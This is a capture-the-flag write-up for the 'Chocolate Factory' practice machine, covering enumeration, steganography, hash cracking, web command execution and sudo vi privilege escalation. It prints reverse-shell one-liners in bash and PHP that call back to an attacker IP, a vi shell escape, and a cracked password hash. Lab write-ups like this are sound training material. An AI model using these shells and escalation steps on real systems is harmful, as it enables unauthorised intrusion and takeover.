Hi all, we’re back with a new challenge called Chocolate Factory.
This writeup is short-to-medium: we enumerate services, find anonymous FTP with an image, extract Base64 data, then pivot to the web app to get credentials and command execution. From www-data, we grab Charlie’s SSH key and become the user. Finally, we abuse sudo vi to get root and use the key in root.py for the last flag.
Let’s start by deploying the machine and noting the target IP.
I start with an Nmap scan to find open ports and services. This tells us where to focus.
Nmap results:
╭─cat0x01 at cat0x01 in ~╰─○ nmap -sV -sC 10.113.186.130 -T5Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 02:41 +00Stats: 0:05:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script ScanNSE Timing: About 98.91% done; ETC: 02:46 (0:00:01 remaining)Nmap scan report for 10.113.186.130Host is up (0.11s latency).Not shown: 989 closed tcp ports (reset)PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.5| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg| ftp-syst:| STAT:| FTP server status:| Connected to ::ffff:192.168.140.227| Logged in as ftp| TYPE: ASCII| No session bandwidth limit| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| At session startup, client count was 2| vsFTPd 3.0.5 - secure, fast, stable|_End of status22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 ac:66:9d:61:84:3e:91:42:a7:62:f7:8c:9f:8a:a7:37 (RSA)| 256 12:e1:10:7f:4d:75:46:37:f5:a8:31:dd:33:55:d7:c4 (ECDSA)|_ 256 b8:46:86:75:b7:cc:92:59:1b:78:88:e3:b1:49:89:67 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Site doesn't have a title (text/html).100/tcp open newacct?| fingerprint-strings:| GenericLines, NULL:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"106/tcp open pop3pw?| fingerprint-strings:| GenericLines, NULL:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"109/tcp open pop2?| fingerprint-strings:| GenericLines, NULL:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"110/tcp open pop3?| fingerprint-strings:| GenericLines, NULL:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"111/tcp open rpcbind?| fingerprint-strings:| NULL, RPCCheck:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"113/tcp open ident?| fingerprint-strings:| GenericLines, GetRequest, Kerberos, LDAPSearchReq, NULL, RPCCheck, SSLSessionReq:|_ http://localhost/key_rev_key <- You will find the key here!!!119/tcp open nntp?| fingerprint-strings:| GenericLines, NULL:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"125/tcp open locus-map?| fingerprint-strings:| GenericLines, NULL:| "Welcome to chocolate room!!| ___.---------------.| .'__'__'__'__'__,` . ____ ___ \r| _:\x20 |:. \x20 ___ \r| \'__'__'__'__'_`.__| `. \x20 ___ \r| \'__'__'__\x20__'_;-----------------`| \|______________________;________________|| small hint from Mr.Wonka : Look somewhere else, its not here! ;)|_ hope you wont drown Augustus"The useful open ports are the common ones for FTP, HTTP, and SSH:
21 / ftp80 / http22 / sshI will start with FTP because anonymous login is allowed and there is a file listed.
FTP
ftp 10.113.186.130Connected to 10.113.186.130.220 (vsFTPd 3.0.5)Name (10.113.186.130:cat0x01): anonymous331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls229 Entering Extended Passive Mode (|||19485|)150 Here comes the directory listing.-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg226 Directory send OK.
//// Download gum_room.jpg
ftp> get gum_room.jpglocal: gum_room.jpg remote: gum_room.jpg229 Entering Extended Passive Mode (|||57979|)150 Opening BINARY mode data connection for gum_room.jpg (208838 bytes).100% |*********************************************************************************************************************************************| 203 KiB 361.21 KiB/s 00:00 ETA226 Transfer complete.208838 bytes received in 00:00 (314.36 KiB/s)ftp> exit221 Goodbye.We download gum_room.jpg. In CTFs, an image often hides data, so steganography is a good next step.
Steganography
Use steghide:
$ steghide extract -sf gum_room.jpgEnter passphrase:wrote extracted data to "b64.txt".No password was needed (just press Enter). The output file b64.txt is Base64, so decode it to read the hidden content.
cat b64.txt | base64 -dThis gives part of /etc/passwd, and the interesting entry is the charlie hash:
charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::This is a SHA512 hash, so we can try to crack it with a wordlist.
Hash cracking
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt
Password is: cn7824
Web enum

At the same time, I checked the website and ran gobuster to find hidden paths:
╭─cat0x01 at cat0x01 in ~╰─○ gobuster dir -u http://10.113.186.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php===============================================================Gobuster v3.8by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.113.186.130[+] Method: GET[+] Threads: 20[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.8[+] Extensions: php[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/home.php (Status: 200) [Size: 569]
When you log in using the username charlie and the password cn7824, you are redirected to home.php.
The page has an online command line. Try simple commands first like ls to see available files.

I prefer to see the results in the page source because it is cleaner and avoids formatting issues.

We found a key_rev_key. Let’s inspect it because the port hint mentioned a key.
cat key_rev_keyYou will find Charlie’s key in the HTML source as well.

Since we can run commands, the next step is to get a reverse shell for a stable session.
Reverse shell
Since we have command execution, we can get a shell:
bash -i >& /dev/tcp/192.168.140.227/4444 0>&1If that doesn’t work:
php -r '$sock=fsockopen("192.168.140.227",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'Start a listener:
nc -lvnp 4444Now we are www-data, which is the web server user.

Let’s check users under /home/ to see available accounts and files.

In the charlie folder we found user.txt, but we can’t read it yet. There is also a file teleport that contains an SSH private key. We can use it to log in as the charlie user.

Copy the key, save it to a file, and change the file permission to 600 (SSH requires strict permissions).
$ chmod 600 idrsa$ ssh -i idrsa charlie@10.113.186.130Now we are the charlie user. Grab the user flag and continue to privilege escalation.

We got the user.txt flag.
Let’s do privilege escalation to get root access.
Privesc
Let’s check the id command to see group memberships.
uid=1000(charlie) gid=1000(charley) groups=1000(charley),0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)We are in the sudo group. Check allowed commands with sudo -l:
charlie@ip-10-113-186-130:/home/charlie$ sudo -lMatching Defaults entries for charlie on ip-10-113-186-130: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User charlie may run the following commands on ip-10-113-186-130: (ALL : !root) NOPASSWD: /usr/bin/viWe can run vi with sudo (but not as root directly). vi can execute shell commands, so we can escalate from inside the editor.
Do this:
$ sudo vi
// press ESC and then type ':!/bin/bash -p'
Now we are root.
Let’s go to /root.

We find root.py, so let’s run it with python3 root.py and enter the key.
Enter the key: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=And we got the root flag.
I hope you enjoyed this room. See you in another one.